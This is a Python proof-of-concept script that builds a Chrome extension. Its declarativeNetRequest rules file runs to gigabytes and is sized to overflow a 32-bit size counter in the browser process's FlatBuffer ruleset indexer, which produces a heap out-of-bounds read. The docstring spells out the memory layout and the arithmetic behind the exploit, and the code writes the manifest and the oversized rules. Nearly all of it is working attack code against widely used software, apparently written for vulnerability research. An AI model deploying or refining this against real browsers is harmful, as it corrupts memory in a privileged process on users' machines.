#!/usr/bin/env python3
"""
Generates a malicious Chrome extension whose declarativeNetRequest static
ruleset overflows the 32-bit `size_` counter inside the browser-process
flatbuffers::FlatBufferBuilder used by FlatRulesetIndexer.

Layout (designed so every flatbuffer table's deduped vtable stays within
+-2 GiB of the table -- otherwise the soffset_t encoding corrupts the table
*before* size_ wraps and we crash in IndexUrlRule on a wild read instead of
the intended sink):

  rule 1 : requestDomains = [<DOMAIN_BYTES of 'a'>]
           --> 2.2 GB pushed *before* the first CreateUrlRule, so the very
               first vtable lives at offset ~2.2 GB rather than ~0.
           responseHeaders[0].value = <unique><HEADER_BYTES>
  rule 2..K: requestDomains = ["a<uniq>.a"]  (tiny; same field set as rule 1
             so the UrlRule vtable dedups to rule 1's vtable at ~2.2 GB)
             responseHeaders[0].value = <unique><HEADER_BYTES>

All rules share urlFilter "abcde" (one 5-gram only) so every UrlRule offset
lands in the same n-gram bucket and Finish() actually std::sort's them.

After rule K's IndexUrlRule(), size_ is ~DOMAIN_BYTES + (K-1)*HEADER_BYTES
which is kept < 4 GiB; rule K's BuildModifyHeaderInfoOffset then pushes
HEADER_BYTES and size_ wraps.  The next CreateSharedString lookup and the
later UrlPatternIndexBuilder::Finish() comparator both compute pointers from
the wrapped 32-bit size against pre-wrap offsets -> heap OOB read in the
browser process.
"""

import os
import sys

DOMAIN_BYTES = 2_200_000_000   # bulk before the first UrlRule vtable
HEADER_BYTES = 50_000_000      # per-rule bulk written *after* IndexUrlRule
NUM_RULES = 42                 # 2.2e9 + 42*5e7 = 4.3e9  ->  size_ wraps
                               # span between first/last UrlRule = 41*5e7
                               # = 2.05e9 < 2^31 so soffset_t never overflows

EXT_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "extension")


def write_manifest():
    manifest = """{
  "manifest_version": 3,
  "name": "DNR FlatBuffer overflow",
  "version": "1.0",
  "permissions": ["declarativeNetRequest"],
  "host_permissions": ["<all_urls>"],
  "declarative_net_request": {
    "rule_resources": [{
      "id": "ruleset_1",
      "enabled": true,
      "path": "rules.json"
    }]
  }
}
"""
    with open(os.path.join(EXT_DIR, "manifest.json"), "w") as f:
        f.write(manifest)


def write_rules():
    """Stream the multi-gigabyte rules.json."""
    path = os.path.join(EXT_DIR, "rules.json")
    bulk_domain = "a" * DOMAIN_BYTES   # ASCII, lower-case (CanonicalizeDomains)
    bulk_header = "x" * HEADER_BYTES   # IsValidHeaderValue: no NUL/CR/LF
    with open(path, "w") as f:
        f.write("[\n")
        for i in range(1, NUM_RULES + 1):
            if i == 1:
                domain = bulk_domain
            else:
                domain = f"a{i:06d}.a"
            f.write('{')
            f.write(f'"id":{i},"priority":{i},')
            f.write('"action":{"type":"modifyHeaders","responseHeaders":[')
            f.write('{"header":"x-poc","operation":"set","value":"')
            f.write(f"{i:08d}")
            f.write(bulk_header)
            f.write('"}]},')
            f.write('"condition":{"urlFilter":"abcde",')
            f.write('"requestDomains":["')
            f.write(domain)
            f.write('"],"resourceTypes":["main_frame"]}')
            f.write('}')
            if i != NUM_RULES:
                f.write(',\n')
        f.write("\n]\n")
    sz = os.path.getsize(path)
    sys.stderr.write(f"[+] wrote {path}: {sz} bytes ({sz/2**30:.2f} GiB)\n")


def main():
    os.makedirs(EXT_DIR, exist_ok=True)
    write_manifest()
    write_rules()
    sys.stderr.write(f"[+] extension ready at {EXT_DIR}\n")


if __name__ == "__main__":
    main()
